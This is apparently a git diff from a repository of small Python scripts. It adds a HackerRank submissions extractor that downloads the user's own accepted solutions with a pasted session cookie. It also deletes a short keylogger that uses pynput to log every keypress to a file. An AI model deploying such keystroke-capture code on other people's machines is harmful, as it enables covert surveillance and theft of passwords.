diff --git a/hackerrank_submissions_extractor/ReadMe.md b/hackerrank_submissions_extractor/ReadMe.md new file mode 100644 index 000000000..47305cb32 --- /dev/null +++ b/hackerrank_submissions_extractor/ReadMe.md @@ -0,0 +1,17 @@ +# Hackerrank-Submissions-Extractor + +A small program to extract all submissions from Hackerrank. + +## # How to use + +1. Get your cookie and place instead of ** +2. Write the path to the folder where you would like to save the files instead of ** +3. Run with `python3 hackerrank.py` + +## Author + +Yash Sharma + +## Disclaimer + +1. This program will only save the accepted submissions, so please tweak the code to get all submissions. \ No newline at end of file diff --git a/hackerrank_submissions_extractor/hackerrank.py b/hackerrank_submissions_extractor/hackerrank.py new file mode 100644 index 000000000..5a984e057 --- /dev/null +++ b/hackerrank_submissions_extractor/hackerrank.py @@ -0,0 +1,57 @@ +import requests +import json +from time import sleep +from os import path + +BASE = +EXTENTION = { + "python": "py", + "python3": "py", + "java8": "java", + "java": "java", + "bash": "sh", + "c": "c", + "go": "go", + "cpp": "cpp", + "cpp14": "cpp", + "haskell": "hs", + "text": "txt" +} + +headers = {} +headers["Accept"] = "application/json, text/javascript, */*; q=0.01" +headers["Cookie"] = +headers["User-Agent"] = "curl/7.64.1" + +url = "https://www.hackerrank.com/rest/contests/master/submissions/?offset=0&limit=1000" +resp = requests.get(url, headers=headers) +accepted_submissions = [] +for submission in resp.json()['models']: + print(submission['challenge']['name'], submission['status']) + if "Accepted" in submission['status']: + accepted_submissions.append( + { + "slug": submission['challenge']['slug'], + "name": submission['challenge']['name'], + "id": submission['id'], + "language": submission['language'], + "code": "" + } + ) +print(len(accepted_submissions)) +i = 0 +for submission in accepted_submissions: + print(i) + i += 1 + file_path = f"{BASE}/{submission['slug']}_{submission['language']}_{submission['id']}.{EXTENTION[submission['language']]}" + if path.exists(file_path): + continue + url = f"https://www.hackerrank.com/rest/contests/master/challenges/{submission['slug']}/submissions/{submission['id']}" + resp = requests.get(url, headers=headers) + try: + submission['code'] = resp.json()['model']['code'] + with open(file_path, "w") as f: + f.write(submission['code']) + except: + print(f'Failed getting code for {submission}') + sleep(5) \ No newline at end of file diff --git a/key_logger/keylogger.py b/key_logger/keylogger.py deleted file mode 100644 index 311a86536..000000000 --- a/key_logger/keylogger.py +++ /dev/null @@ -1,18 +0,0 @@ -import logging -from pynput.keyboard import Listener - - -def keylogger_py(): - log_destination = "" - logging.basicConfig(filename=(log_destination + "logs.txt"), - level=logging.DEBUG, - format='%(asctime)s : %(message)s') - - def keypress(key): - logging.info(str(key)) - - with Listener(on_press=keypress) as listener: - listener.join() - - -keylogger_py()